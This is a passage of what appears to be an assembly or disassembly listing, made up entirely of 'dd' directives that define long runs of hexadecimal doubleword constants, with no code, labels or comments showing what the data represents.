57BA66E8h, 41B90E15h, 9352A3h dd 23101C08h, 0DF0F7DE0h, 23AAF1E4h, 80146B16h, 1EFE4513h dd 404FBB05h, 4B539E96h, 2100F3EBh, 2058D3BDh, 510AA1h dd 0F62CA2BBh, 4E19C3CFh, 0C02BB101h, 4D3B37C4h, 0A60D447h dd 0B7A466h, 6EC50717h, 5C469893h, 0BCE339h, 0AEA97BB8h dd 0FCFE250h, 8004D85Eh, 0F326A700h, 631C4BD0h, 41C0DDD7h dd 0F2971ECEh, 0B3700C8h, 0E0FC3BAFh, 0B201545Eh, 0C3F831AAh dd 28804415h, 0F5C1551Bh, 98170F99h, 0DE135B5Dh, 2CE4B202h dd 52084082h, 7C781A69h, 0B26312DAh, 970FAEB0h, 0CEEEDF00h dd 9D4DE1DDh, 0CA66008Dh, 36F1E351h, 0B9000D6Eh, 2A92E4ECh dd 25D97h, 0AC09CDD5h, 5BED8E8Ah, 66622900h, 0F6938C1Dh dd 54420952h, 7903E098h, 0DF9096A3h, 53007AF2h, 2F9B8A4Eh dd 1EAEE495h, 40A6BB29h, 5E55FBE3h, 77F613Fh, 24342024h dd 38A36B02h, 5408C08Dh, 425E0019h, 3A3BEDBDh, 8ECFDA13h dd 2980F07h, 63C10B8Ch, 8D1188BAh, 93F300B3h, 1484C8DDh dd 0E7005E3Eh, 21FE1DF9h, 4C8685C5h, 0F40062CAh, 0C464E0D8h dd 980990A4h, 687B29BCh, 1C84F2FCh, 0CBB5FE0Eh, 30A5F8AAh dd 4063BCD4h, 0B10034EEh, 0B8C762DDh, 0E2767Fh, 0ECC9AFD2h dd 5E496428h, 0F1732F01h, 9A350FE8h, 4086289Eh, 0FC8A0C60h dd 5D26774Fh, 0E31E9071h, 3B2247C0h, 0B76966B5h, 0A854EC0h dd 0C7B83400h, 0E954649Bh, 48477105h, 2603F8D8h, 4D18BCFFh dd 89811688h, 6D07EC01h, 61390445h, 4C92C0h, 8354A242h dd 0CA0C949Fh, 0CD0450F2h, 612EE15Fh, 0EAE720B0h, 18C90C2h dd 56D6FD9Eh, 0E89D57EAh, 72078C91h, 3AA3D908h, 0FB303E70h dd 0C7023CAEh, 170FA3Eh, 5895626Ch, 60DF8D9Eh, 6B267452h dd 0DB00A876h, 4CEE04E4h, 20AD1252h, 77FE001Bh, 0C2FF3818h dd 0BA020DE4h, 333D633Bh, 1770602Dh, 0E30B0586h, 0C0F8BD24h dd 71D3524h, 0B31E641Ch, 6E17A440h, 60152BB4h, 408EE8C5h dd 58009E3Eh, 48E1B618h, 0BB526Eh, 0A5811985h, 386499CAh dd 191374Ch, 4080CD4Fh, 8051E0DAh, 9CF0E567h, 7D1E0093h dd 0D76AD857h, 1500411Dh, 5887F20Ch, 112B923h, 2F7CB0BEh dd 40BA4782h, 0E1EC80E0h, 1ED81100h, 0D33F6B28h, 0A0DF7EF9h dd 25645B80h, 0F829F085h, 0D3288Eh, 0C3849438h, 0E7006A71h dd 9688F39h, 0B9CCEFh, 0C57CEA96h, 9392BCF1h, 576B4300h dd 0F45C8E22h, 0F5E00EFh, 3BBFCA1h, 700A7D1h, 0D7778AB7h dd 8839A6h, 4D30D228h, 0A8C0A082h, 27006892h, 7880217Ah dd 0CDE77C4h, 9596F8C8h, 4E789D98h, 9F0B137Eh, 22212325h dd 80ABA5B4h, 2CC4B20h, 0D44D3A37h, 0F6E12E00h, 6799C6E5h dd 0E9854417h, 7FA3A200h, 235C311h, 0DEF0DB98h, 28832425h dd 0BCC230B1h, 0F56CBB80h, 0FCF1358Bh, 2D01EA42h, 0CC2C77F1h dd 90852609h, 1BEA006h, 2B44F40h, 256C5831h, 9B302250h dd 180C38C0h, 3869758Ch, 0EC87CD26h, 69DC8D53h, 6163E440h dd 7B0C870Eh, 629DE625h, 7AAD1048h, 0A2F8071Ch, 3DC2BB45h dd 0EC2A2020h, 0ADE0EB99h, 15D00901h, 4801F5A3h, 82342990h dd 2EE1072h, 0FD22D595h, 40582431h, 9C88AC0Eh, 4E6F076Ah dd 703323E5h, 5CDCF928h, 0A9B4531Dh, 4F40BBDFh, 0DD0750C1h dd 0BE0C008Bh, 96E25136h, 9D00996Eh, 0B9940454h, 0B0B48440h dd 0E5381E88h, 789B4BEEh, 9671C80h, 9506153Dh, 0CBCEFF6Fh dd 0B96203EEh, 69EC934Ah, 313B2908h, 909F003Eh, 3CB67D20h dd 30ACFF2Eh, 2833303Fh, 33AE9DB5h, 30183DD7h, 0E5E75A0h dd 2F6B8C00h, 0E86572CFh, 231E09FFh, 0DC8018E4h, 0FBA13263h dd 1B7EC17h, 0E079C033h, 139BFEBh, 0FF7DA20h, 0FC011C4Dh dd 2C1F3ACBh, 242E71FAh, 0F84A95h, 0FFF39073h, 0F6BA533Eh dd 78170303h, 49C0DD6Bh, 226028CAh, 0B300CA1Fh, 995FEB1Eh dd 22C7E8h, 0FA7BADD2h, 0C81474EAh, 3CF02002h, 81B1A0A4h dd 54D1D49Ch, 43002472h, 0D2C8FD3Ah, 412AB57Ch, 723F8404h dd 0C2EC8730h, 84F7DB6Ah, 3780E0BAh, 8B738A98h, 0D75C00F4h dd 0AA0C3DC0h, 0FF008FB3h, 0B068E0EDh, 57F6719h, 0D5F78382h dd 72C882AEh, 5600F354h, 32C69E10h, 943500F8h, 748AD0E1h dd 69002548h, 0A9627134h, 0B48256A2h, 0F5060090h, 3BE596E8h dd 0B4AAA1C0h, 6CC0290h, 79DC89A9h, 0EC80E897h, 3E001C87h dd 4472B6F3h, 4B7D3A7Ah, 43A41CC4h, 9F115DF2h, 0ED53D680h dd 0A0965600h, 367D326Bh, 831F0699h, 30658FC4h, 0B4878B00h dd 7397D838h, 190B6014h, 0F80CB7FBh, 0A62D5124h, 0EB64100h dd 0C2CE70h, 0A57D1049h, 0F0F35E8Eh, 0B80F5F00h, 0C13A52FFh dd 44A04803h, 891CB707h, 0E554A286h, 4EC508C0h, 8B99053Ah dd 7D9847h, 0CBDB7E6Fh, 41112885h, 50779Bh, 36EA275Dh dd 62F0AE81h, 34B0A800h, 58BB08AAh, 1F183E4Ah, 9BA9EB81h dd 7CCA5375h, 78A44C1Ch, 0BBFA8F00h, 7DB5AA3Ah, 82E400F4h dd 4839CB0Fh, 700098E6h, 0B0A75C73h, 0EE64A68Eh, 3BCC00D6h dd 0EF169E21h, 7B3D67E7h, 0FC5C967Ch, 4E08B20Fh, 6240DD57h dd 6EAA8F1Bh, 2F6EADFh, 76A434BDh, 30E0AB5Dh, 2600172Fh dd 45CFC1F9h, 7FCD40h, 6E19E2FFh, 6809C210h, 4CA03C58h dd 940A28B8h, 0B70A2B98h, 94F17B75h, 0A5746B80h, 0C9533Dh dd 0EF07093Ch, 3918D0ACh, 910462FCh, 5E47B91Ah, 377901C0h dd 8BC048EDh, 48853207h, 8257A0BAh, 1216DEE7h, 681F24D7h dd 91BC9680h, 0E046690h, 2B33A9CFh, 72FAE1A0h, 0BD00374Ah dd 3D4B85F1h, 7C09CBh, 0D62F6731h, 0CFE9CD24h, 711648h dd 84B64773h, 63F59Ah, 2045C6D2h, 0AA0B2CB5h, 0BE584200h dd 40317664h, 727D07CBh, 222D99DCh, 27E03A1Ch, 0DE008CA1h dd 5FC7DF90h, 79C6F8h, 85A5506Bh, 83FFAA94h, 40109090h dd 4C1304F1h, 208420BDh, 6919520Ch, 0FF10770Bh, 0AA2CD8h dd 0CEB98460h, 26B1E186h, 9007C830h, 138089ADh, 1CFC37D9h dd 55B7407Eh, 4364EA08h, 0A36D530Ah, 700BC52h, 54AF6FD6h dd 4C1C00C1h, 0CEC8BCC4h, 623F9431h, 4BC98F77h, 258EA037h dd 0C0FC63DCh, 4EC25DE8h, 872E5FB1h, 75811092h, 0D243240Eh dd 4F0F9C20h, 21B01ECCh, 60EDFC89h, 0E6A298h, 0DE9C74A1h dd 0EB8F5AF8h, 842C903h, 0E8067B9Eh, 22364Dh, 89DF5793h dd 20BCBE28h, 584CFD07h, 0C1307EBAh, 627B01B3h, 404380A5h dd 30EDFC0h, 0D3798A00h, 29DB48C7h, 27990130h, 5063DDF8h dd 0BAEDCC9Dh, 0B8A92F00h, 7CE2F27Dh, 3ACA090Eh, 9800E445h dd 0F0746EC0h, 7AB0A64Ch, 10C3202Eh, 43FB813Fh, 97D94BEAh dd 634F8C4h, 6E513F65h, 3A00E8CFh, 137B9B5Fh, 3E23B5h dd 25AAB4D1h, 91C1CDF4h, 3A00C2F4h, 0DF8DD9BDh, 5F0FEDBh dd 0EC73A1EFh, 7B1BC056h, 0AB4AE45Bh, 4433C00h, 7EA7718h dd 34D247E8h, 70818705h, 6B3DF6A1h, 0BECC081Fh, 0B200E868h dd 0E99924F4h, 0D4A6E2h, 62470E37h, 0D6B7FE54h, 0C9291D01h dd 4F5C36E1h, 0B5BAB087h, 26421075h, 0AE1C8279h, 98DE1E64h dd 0ADE200FCh, 0B4DD4B46h, 0E17029h, 0B1429734h, 5513B69Eh dd 9AF2500h, 616E8599h, 0BF3407ECh, 90C13CD3h, 0EA4DD62Eh dd 0C7D7F817h, 0F6F1F700h, 0E7404EFh, 2A17D54h, 36F200D3h dd 0E4903928h, 4D7AA203h, 0D066C4C6h, 26D3011h, 6F89C90Fh dd 0C041385Ch, 5DA07443h dd 0CD0309EAh, 812E77B1h, 0B4CC7FECh, 0BB0E0014h, 36672420h dd 2598A207h, 0D3006A94h, 5C4727CDh, 6E003718h, 0EDC11B3Eh dd 417E4F71h, 25000498h, 96BB3B63h, 285279h, 81429BCh dd 0DCF8DA87h, 0C4D06251h, 9C0F9BB3h, 414AFE7Bh, 65FB8A20h dd 8E00883Ch, 0AE909E6h, 7C017912h, 8178A3C8h, 60E6AAA0h dd 6DE61Fh, 2A9A98B0h, 0C4658376h, 0A2A5EE04h, 0F0A0F58Bh dd 0BABD2615h, 5218004h, 0D076F2BFh, 0D51234B6h, 0BA4FA800h dd 0FBFDD723h, 0E8822880h, 735C11E1h, 0CB54BF78h, 8C008698h dd 1B9DBEF6h, 0EF442h, 3E56B871h, 342A91BDh, 70820F00h dd 0C12EEA5Fh, 263B00D6h, 0D9880914h, 7CA6FAF7h, 4D006898h dd 44D5944Fh, 75DF2Fh, 0DD6F458Eh, 0C779E11h, 0E781F700h dd 2CA6CBB5h, 0D89867h, 9ACA8F07h, 1421D69h, 41732500h dd 1FE0A4FAh, 0E37F00BBh, 644BFE3Ch, 2C143702h, 788A72Ah dd 9ADF20D5h, 0EA853A40h, 0E384A863h, 0B430C812h, 32084D18h dd 0B97D00DDh, 5CD5AAEFh, 0C401D087h, 0F8A8BE9Fh, 202C98A5h dd 0E3C8DE0Dh, 0B50AF058h, 19DC3205h, 0A0C18FD2h, 8F0DEE2h dd 0CC400A76h, 4E8DADDh, 0A03A8BB3h, 4D0830ECh, 40BFA077h dd 80211727h, 0CA3EC4EEh, 0B609748Bh, 52610489h, 0C29F3EA0h dd 8078D730h, 0E73E7675h, 0E6E00A1h, 2D90C535h, 0EBF50081h dd 4D8AC2F9h, 0C70195A7h, 0DAE9041Ch, 0CE3AD2Fh, 90DB8471h dd 0C6B863C8h, 3AEC4F38h, 0A09203EBh, 95D9CC4h, 0B2DB8A28h dd 38278100h, 0F3F89D7Fh, 49DA7E30h, 14F8E65Fh, 0ACD15307h dd 4FEA1680h, 8B00FA9Eh, 0C1D7D48Eh, 778686Fh, 0C5CCC896h dd 0D0D03DC4h, 0F30C956Ch, 405F137Dh, 87660ADh, 15E32BA3h dd 3E60CD0Bh, 0F81820F2h, 294F02Fh, 0B6777847h, 0E840E7BDh dd 3F38A044h, 0F051A908h, 0C87A0201h, 0D09C687Eh, 251139h dd 0CE44F46h, 1E1A81BBh, 403817FCh, 7F3420ACh, 620F0DDDh dd 3FC2C107h, 0FA0803Ch, 8F6068B2h, 461F00D3h, 6C920B85h dd 200D165h, 0D570F763h, 2E204E8h, 0C9D2C5AFh, 0C849F175h dd 0D9BF6048h, 3CDB593Fh, 0AE7780EBh, 5F3F9F3Eh, 2450F076h dd 2F39370h, 546EED5Dh, 0E468B88Ch, 7495B000h, 196A0276h dd 0CDD0A89h, 9984432h, 407A29F3h, 0A9FCF12h, 654ED4B4h dd 82DB195Eh, 0D8A06CEFh, 0EC456E21h, 0C8753625h, 0B8F85704h dd 415E003Bh, 2CEE977Dh, 2B0E47F5h, 0E31278E2h, 0E87559ECh dd 60A317h, 8014B909h, 88819B2Dh, 80A16A39h, 0ABD7D542h dd 83138Ah, 0EEF6D1Eh, 0D024B292h, 80CA48h, 0BAE4DAAAh dd 0EACCC9h, 38452F2Dh, 46C21B6Ch, 88B9FB00h, 49305B1Fh dd 11600A3Ah, 30DB5036h, 5CE38730h, 0ADBE9E0Fh, 0BD8E97h dd 0BC7C0F3Ah, 0B7520EDCh, 84A0F99Dh, 3148DF0Ah, 0B3D4F300h dd 11368140h, 0E63E0097h, 0D1D2C39Dh, 0F3057B24h, 0E10B4EF7h dd 0C2B0AC80h, 14F63C42h, 7FE2FA80h, 37BE02FDh, 7CC8D00h dd 0EE74887h, 0C1CE00C6h, 7DFD4B35h, 0FC0025DFh, 0C2FB498Bh dd 27DB44h, 9626139Eh, 9ACF9743h, 0EA1588E4h, 0E204A166h dd 4148884h, 0BB81F87Dh, 4910AA60h, 7A709110h, 7C2E413h dd 0D3172B1Ah, 82042035h, 0F31DC0B4h, 87184666h, 88BFB729h dd 60893BA0h, 8F44F708h, 0FA22845Bh, 118C423Ch, 0BF218E13h dd 903A4F08h, 8A798478h, 27428348h, 2124243Eh, 6712888Fh dd 89424D10h, 44730890h, 22848B22h, 3C424D3Bh, 2F10EA21h dd 489B5B84h, 1CD742E8h, 1F213324h, 11541290h, 0D722FA39h dd 8E4D22BEh, 5584102Eh, 80FB4818h, 3B9F0D49h, 0D900A2B8h dd 97DE82FEh, 0FA1D41A4h, 42F31F91h, 0CA92C0C4h, 7BDCA030h dd 9BDFA800h, 64D16103h, 0B980EABh, 0B2A0798Eh, 215AF98Fh dd 84ED9207h, 1972F86Ch, 6A2AC03Bh, 0C4D5004Dh, 2EA71FCDh dd 707FEB91h, 37B85B00h, 988039E1h, 608D00B2h, 14EC6C47h dd 2B00DD87h, 5EF26218h, 0C23F81h, 513EF11Ch, 7E79CFD0h dd 30233900h, 4AB304EFh, 9BE457h, 0BBBCCC41h, 228FA097h dd 11719200h, 45932776h, 2BE71291h, 0C65C4043h, 0CF6ACB37h dd 5F986400h, 0C47144FAh, 8E54003Dh, 8CA90896h, 1303C29Ch dd 26DC2C60h, 0E5B4A81Dh, 0C117933h, 9615C76Ah, 13902A68h dd 3DCE9718h, 88B12068h, 0A6003679h, 85331E8Fh, 0DF7FA8h dd 0D9C1FD4h, 0BB890B8Ah, 0B5477E00h, 2E05B287h, 512C00BFh dd 0D1866F2Fh, 0A100773Ah, 3D129354h, 0E9CF4h, 4D836089h dd 0BDC738BBh, 0A51AA0A0h, 4F92490Fh, 2B66096h, 0F11F9Dh dd 554CAD06h, 0BBAF7FCDh, 43EF507h, 42C5D60Dh, 0E41A400h dd 3D39F69h, 94E250F6h, 0D190338Bh, 0BA00190Fh, 3CCFC432h dd 3ADB3E6h, 2E25CB50h, 90B76907h, 665DD92Bh, 32843450h dd 6E06CF00h, 0EDC1EBD5h, 56BB1EACh, 75C8120h, 0FC24AB4Fh dd 0F3077D8Eh, 0CF0427B9h, 6082F632h, 0D12024h, 0E492FEAh dd 6906F2A6h, 75186400h, 42A598E1h, 8C4F01F8h, 6C7C76C6h dd 0AB33EC5Fh, 0AD7F2D00h, 650797DDh, 0B5620137h, 35AE46EBh dd 594C20E0h, 0F5A01100h, 0B742165Dh, 0CCF009Eh, 89E170C5h dd 103B81D1h, 0DEB4891Fh, 0CB7800F7h, 9086A2CEh, 6B9F0F50h dd 0A5007CBBh, 15143335h, 0BE3D2200h, 0AB3B72F6h, 661100E2h dd 42B2BD10h, 32009430h, 398AE790h, 11D743Dh, 34EB407Bh dd 31DF2C8Eh, 20CDC19Ch, 68009153h, 39D34CB1h, 70FF2E21h dd 2FBF0EA8h, 1B6052A2h, 0C1DB0FA1h, 0B7857800h, 6A6CAA8Ah dd 209D6040h, 0B2809CF0h, 244DC001h, 0FDEE749Eh, 75EBEF4h dd 259B96C9h, 0E963F0D0h, 5F304E8Eh, 680B389Eh, 0F64B00B8h dd 64DCECC4h, 7B0F70ACh, 476C0CBAh, 0EF50E990h, 980D185h dd 0CD8C5181h, 0FFF880Eh, 41FF6DF1h, 0C80839F2h, 29D0CC27h dd 5C10A804h, 0D8809E32h, 70B5922h, 0DC95DE78h, 0DDCF4F15h dd 0F0B53280h, 4B01647Bh, 0C70FECC2h, 4C304D9Ah, 0A9510001h dd 7128A87Ah, 2702B85Eh, 0DFB77EF4h, 6C144083h, 1B3E02ADh dd 0DEFA09D8h, 4B8D480h, 2C04BD61h, 0E3E48E71h, 0FADC8B87h dd 47DC007Bh, 1633BFFh, 0B0003F1h, 0D9B32BB9h, 24AF923Fh dd 214E159h, 0F84CA54Dh, 2EA71018h, 3EFD61C4h, 6F04A10Ch dd 1B0E585Ah, 43794871h, 9353C72Fh, 28CEC0BFh, 855200C2h dd 0E9302C27h, 0C024BFFh, 2BE80EA8h, 500860CAh, 0D2EAEDh dd 9157AEBCh, 43B45A19h, 891CE500h, 2966AF0Bh, 601207EAh dd 605176B9h, 0C258D56Ah, 20C7ED00h, 0E7DD77FCh, 87850F94h dd 9360E67Ah, 8FCE861Ch, 34FBE200h, 4F6B71FCh, 94B4004Ah dd 0DA0D80FDh, 9498CDA8h, 77C1B700h, 0E1D3E78Ch, 2C7A009Ah dd 226292CAh, 99018E55h, 47AF2474h, 0BC408926h, 0B00B4130h dd 0B6860104h, 739A58A2h, 0E81120C8h, 28479505h, 0F4003CA0h dd 682EFC4Ch, 3B7004h, 0A52DBD0Fh, 72C774D7h, 0B6FBC502h dd 80DE4583h, 106129BCh, 0D7A70351h, 0DD383975h, 0DC83E4A0h dd 0DF368800h, 7F9C72BBh, 0A4A50093h, 46FF74B0h, 2E748564h dd 480FCA1Fh, 0F2C28A80h, 738D5Dh, 6452265Eh, 0BE608C31h dd 0EBBF5700h, 7328685h, 0D83F00A1h, 142546C1h, 0FE001702h dd 499A2060h, 7137336h, 0F33304A8h, 9CAD0D4h, 0A401D0E4h dd 986DF41Dh, 99603585h, 0A972009Dh, 6FF07094h, 8EFC1CAAh dd 2D00D9B0h, 0FF5687E4h, 0EA9309h, 0B74A83A5h, 4CBDFD39h dd 91DE6800h, 0D40766EEh dd 720A0067h, 4EF7831Ch, 0C5787B0Eh, 353AAD00h, 423EE043h dd 927196h, 0C92EEA5Dh, 0A53761F0h, 0A89CFA0Fh, 0C8620AC8h dd 4056540Fh, 0BFEEE4D6h, 46E500F6h, 0A5D1A167h, 0DD018C63h dd 0A0331003h, 0C6C0DA3Dh, 0B1C53C75h, 2D2CFF80h, 2AB92476h dd 0A10CD801h, 29D281ADh, 0D13990C3h, 0EB130041h, 6AFF8F51h dd 1009A6E1h, 1058EDC7h, 4AF6B6Ch, 38BC2BEh, 0F018C072h dd 0E6001E2Bh, 269FD5ECh, 0F1615CEh, 84399285h, 0D854A8A0h dd 0BC00D124h, 0F37849B5h, 70F12C61h, 92CB079h, 4BF27A41h dd 0C7DEC080h, 50AD243h, 0F056551Fh, 2F7A5B00h, 1F86EA4h dd 4B8930D9h, 0F87D53C5h, 0E900F0B2h, 681124B5h, 1659CDDh dd 4CA44D6Bh, 0FCF20450h, 0F10042F5h, 91C0A862h, 0B8A196h dd 6980188h, 9E2FE5C7h, 0EFD91300h, 23CEF3A0h, 3DE00EBh dd 0CF0A687Dh, 0E200B8C6h, 0DD1E08A8h, 581F49h, 96A76EEAh dd 1F0295Eh, 64326263h, 0C35C909Bh, 0CC525051h, 61F21E65h dd 1C300098h, 0A66C744Fh, 0C13ACC1Eh, 0F6000EAEh, 0D0AA3941h dd 2C5E1C75h, 55A2C05Dh, 0FD342585h, 0A68D4C3Eh, 0EB051BA7h dd 0CC422F73h, 16A4D98Bh, 9C5720h, 0C0FB6E0Eh, 6C35A4E6h dd 631C3B79h, 5C164FCh, 0CE2F939Fh, 0D27F41C2h, 1EAF1C70h dd 408F2865h, 444090E4h, 46007F55h, 756B99B5h, 0E0A9A4h dd 0D175B72h, 0DA23BC3Dh, 2C09383Bh, 8300D2EFh, 8C96360Eh dd 5C7F0078h, 0D5067B7Dh, 0A476C6F6h, 551C2500h, 50D8F803h dd 0C43E00DAh, 725A1B4Eh, 417EAE1Fh, 0A4B4151Eh, 0FC3CA00h dd 0ADB923h, 98FAD2BEh, 8D210587h, 0A40AF705h, 0E580D8EBh dd 1A1600Dh, 0C55097D7h, 70F94431h, 57033BD0h, 99AFDBA2h dd 617190C9h, 3360002Fh, 0EA8C58A7h, 0FB000337h, 0E4F4BA42h dd 9F4628h, 0C4FECC41h, 2CB69476h, 71810D00h, 0F154ED07h dd 0AEF700C7h, 709FC004h, 0DA059CE7h, 982C0D1Bh, 4CBE5480h dd 0DC9E5817h, 0A4AE540Fh, 0B978EE20h, 0CCA090F5h, 0BB078742h dd 0EB149258h, 9E8038C5h, 0ACE7BEh, 18F32A67h, 30FFC4A8h dd 7AC5F400h, 65981BC2h, 0C60501BDh, 120F7C45h, 23E0FEDCh dd 79032E5Ah, 0F9CC37BAh, 53CAA0C9h, 0A7C2039Ah, 8E8C33B7h dd 7A58A8C8h, 861E18F0h, 0C0436355h, 0B085CE9Dh, 9D59A76h dd 7E39A8D9h, 2CE1E401h, 5B6E60DBh, 5E6E4A0Eh, 17001D6Fh dd 0AD48F994h, 6945248Ah, 0DCAE0352h, 0C9F8118Ch, 0E500073Eh dd 0EC50845Ah, 4835136Dh, 1008451h, 0CD1BB315h, 0D200A0B4h dd 9160ED90h, 0FED526B6h, 967A1D63h, 954C0BCh, 0B9DC085Bh dd 0A1711D00h, 0CA99BB79h, 43F20061h, 0EF5EE23Bh, 9780DCBAh dd 0C029427Dh, 13C7C415h, 68C35C66h, 0CBDF5100h, 9F96039Dh dd 7DE303Fh, 91624AEEh, 4754002Bh, 0ADD295h, 852E344Dh dd 32A2EA89h, 0CF159F1Fh, 7FD96700h, 73697h, 0D7F1C7F9h dd 0EBB7D260h, 4D328D00h, 0E8C27B4Bh, 0CEA901D3h, 1D7A28ABh dd 66D280A3h, 5C052A92h, 0E5F063h, 0D9200D07h, 0D29B89BFh dd 1C43A103h, 0B83D0549h, 0BFF279Ch, 7516181Fh, 3100D00Eh dd 76AC4F1Bh, 67128900h, 0D53843B2h, 45F92C40h, 0E6B01FD9h dd 4C5C07C1h, 8B14E03Fh, 8D00220Dh, 44A778BDh, 3D554217h dd 0D52EE6CCh, 70F9808Ch, 5C3DF5C0h, 1461FA00h, 7C6DA74Bh dd 0D7B5147Dh, 3003A4C5h, 102D6771h, 41546EE0h, 6114F07Ah dd 3C48D91h, 1D0C465h, 3110084h, 30631539h, 99003F06h dd 0CE4037BFh, 123BDC4h, 887941FCh, 0C803A968h, 360695EAh dd 673C2816h, 6CB10FF0h, 0C3206073h, 0D73899C5h, 2258E500h dd 0F79F6707h, 134500D6h, 0A50405EAh, 24F20BF4h, 0C100E0B8h dd 5C9EF9ECh, 305234Dh, 0B379EB39h, 2000254Bh, 3317792h dd 13A3D867h, 0C037434Dh, 50075C78h, 0CD70C960h, 1751E8EDh dd 0F20F871h, 0BD4FE2DCh, 3025F400h, 99006FD7h, 3986A7EAh dd 0F456A2B7h, 143F0043h, 0D4927F79h, 510060DDh, 0F9B0692Fh dd 2CD90A21h, 0B4B359h, 8EC14F45h, 0C41D6ED0h, 2740461Bh dd 248361D5h, 0BCFAF6h, 0BF0CFA40h, 35AF895h, 0C9020FFCh dd 2531288Ah, 0A1F8C0BCh, 3A8301B1h, 6A6D783Ch, 0CBE3202Bh dd 5D428400h, 7923F774h, 0D7CE00E0h, 0C06DDCA3h, 0D100AB33h dd 5D70C972h, 5E7464h, 0E2273FFBh, 20794B51h, 38948C00h dd 0D66BA510h, 0B49B000Ah, 0F553380h, 96049916h, 4FC635D9h dd 7CF40E4h, 1542025Eh, 7AAAF39Bh, 0A4BBE90h, 0CC2AC200h dd 933B922Eh, 0BFE1Ah, 94A70D2Fh, 0EB38E0E3h, 6DC7360Bh dd 39D600A2h, 1E0F4D60h, 46DB0E66h, 98D36A46h, 0D1BBE904h dd 0B7C08D23h, 39BF9B6Dh, 9F001C8Ah, 59C2F7B6h, 0E00C42Dh dd 37EDFD52h, 399C47B3h, 7686438Ch, 98D79DB0h, 0F4C95800h dd 87C383E1h, 2B4A0791h, 0F017E28Dh, 0DA7507EEh, 5BBA8A00h dd 50F341F4h, 768F0425h, 0ACCB5323h, 29FB002Ch, 0FAC551A9h dd 59B0AEh, 0F6A249D5h, 0EA528E96h, 2A38B004h, 0C4C032B5h dd 2E39E883h, 3E56697h, 37C7AE60h, 6BF3F6C0h, 4FEC9100h dd 2416310Ah, 50F4ACB2h, 2C97E5h, 0A45C8012h, 557DE0EAh dd 2A1D4800h, 6BE2FB96h, 6E460102h, 9BD59FE9h, 1D617015h dd 0A1C0CE0Eh, 66F1A382h, 18889C51h, 0F4EFA6Bh, 472764BDh dd 0EAB01420h, 7F00A013h, 2842FA5Fh, 0FCE0E67h, 6616FF32h dd 4710D80h, 0F63DD436h, 3FC801C9h, 0AD0B46BBh, 137E35C8h dd 0EF9E9957h, 0CBF1F700h, 59B47Bh, 0A5302AB8h, 3712A409h dd 0DF941F00h, 3A476FA0h, 0E8510080h, 92C2D271h, 88752D0Bh dd 13BE9626h, 4FD0BB00h, 2E34263Ch, 6F5922h, 2FA274A8h dd 5D0060D4h, 0C7751A97h, 0EBA61C2h, 0E4F82E0h, 7E2CD980h dd 0B00BFA45h, 61DD7135h, 0D3D83A6Ch, 0AA3C0031h, 8305BFB4h dd 60028FE5h, 26FAB013h, 0A094E309h, 982238A6h, 0C74C021Ch dd 76DB36F6h, 375C0860h, 0FD7C9F16h, 0F0570883h, 3CF6AC4h dd 15942E8Eh, 0A6B0D8B0h, 0BE48754Bh, 8EDD3B99h, 0A292659Fh dd 0EE4CF407h, 0AFCF0024h, 0E26F6D8Ch, 0E81D30E4h, 0CB80397Dh dd 2747874Eh, 758B00B5h, 0D17F2083h, 0D201B3A7h, 0C7AB899Dh dd 0B5ECF5AFh, 9F7F438h, 84A25815h, 5CA6B460h, 4CC3FB01h dd 1FB15BC6h, 7F6830h, 0D573413h, 0C3C91135h, 8F07A4FAh dd 0CD2CF026h, 0DA04C250h, 36270373h, 55731E8h, 0B7150290h dd 47A92D0Fh, 8EBE43DCh, 8471E890h, 0FB88A0F4h, 627296h dd 5989DD70h, 16EF9E31h, 18E6F300h, 0C377AA4Ch, 0FA0300BBh dd 5E926B4h, 8C39845Fh, 54B689BEh, 0C7881077h, 0B11617ADh dd 0C4C00063h, 15326880h, 1E0330B6h, 98BC1D37h, 1C772AACh dd 0AE1784A7h, 40111DB8h, 332C4E49h, 40056ADh, 0A144F83Dh dd 0FA2B052h, 2EB40FA9h, 21C7AF81h, 0BE37F0C2h, 50CAA03h dd 0C859B050h, 17AC2C40h, 5E0F46h, 79B8884Ah, 8300E7D2h dd 1FAA8DB6h, 900BFAh, 9DC143EEh, 0C477C0CFh, 4F15FD2Ch dd 0DBF09600h, 48B7C8D3h, 9F093594h, 0F0803F0Ch, 8D46BED4h dd 0B1C860F7h, 0D8983825h, 5D5909F7h, 1800F777h, 1F3A37CDh dd 910CF100h, 2AC82EF3h, 0D7A603AFh, 0F71C581Eh, 4BE2C090h dd 13BFDB00h, 7D163932h, 19000A6h, 9394F9AFh, 0F1163D17h dd 0E500FFC6h, 0BAE2B769h, 61450EDAh, 1600B97Ah, 708F46EBh dd 0F7E1CB00h, 1EB518E8h, 2C070EF2h, 6DE511BCh, 1702C0B2h dd 2200B9F8h, 0B0E28692h dd 24DC87Fh, 0ED1FB36Ah, 39C04A16h, 0CE005FBDh, 8EF913A8h dd 60F3AC9Ch, 7E70EE74h, 8D032617h, 0D4A7D3F2h, 0BE2EE859h dd 16610066h, 0C44B69C5h, 0A9002B4Eh, 513C99DFh, 0F2B0949Ch dd 7919605Ch, 0DD2CA8Dh, 0D4BBDC01h, 0C3B78E20h, 259F4E8h dd 0FAF83008h, 6760DE13h, 42004EFFh, 0DD2276D7h, 3FF4CD55h dd 1600BD72h, 0A1DFBAE0h, 3300FADBh, 0C859EDBEh, 90A5B1A8h dd 0E6870086h, 0ACB1BDFh, 2D60070Dh, 0D8E1596Ah, 0B7B0069h dd 3CE7DF49h, 0BC024306h, 0B9FB8304h, 7D3C60F0h, 2037009Ah dd 56F3D829h, 0DE00740Ch, 69A9D214h, 16FDDF86h, 0C24119h dd 5884D6E6h, 0ED011A36h, 15EC1D1Ch, 0BFF4E545h, 535D0507h dd 0C0E2876Bh, 0ACD123B8h, 1F40D301h, 62AA8455h, 72CE6474h dd 804E0E7Fh, 56802822h, 0D0C032C4h, 0DE7BF6F2h, 76F0EE0Eh dd 4AFD84E8h, 0A44C8EC0h, 890601B0h, 2AFC52A7h, 0F2BB2022h dd 0A6008F90h, 32E681F3h, 0C3F602h, 0FD0B54CEh, 63133EA0h dd 0AAD06202h, 0D8C70CF2h, 0F5C63F88h, 5089A039h, 0DC205B7Ah dd 0D2F3BC2Eh, 8E003F76h, 51618F79h, 99F6CFDh, 46863D71h dd 922FD400h, 8E000259h, 0F48C5061h, 72AEE3Eh, 13F67D72h dd 0B9803F1Dh, 3AE5D628h, 84DB52h, 7566DAA3h, 127EA469h dd 80256D9Fh, 7BACDB30h, 0E217301h, 8E4E5F33h, 39F92C40h dd 0F7E0EDCh, 0C880B079h, 822BDE93h, 19F2A803h, 3AF366C6h dd 0D730FA21h, 7723B880h, 2D902400h, 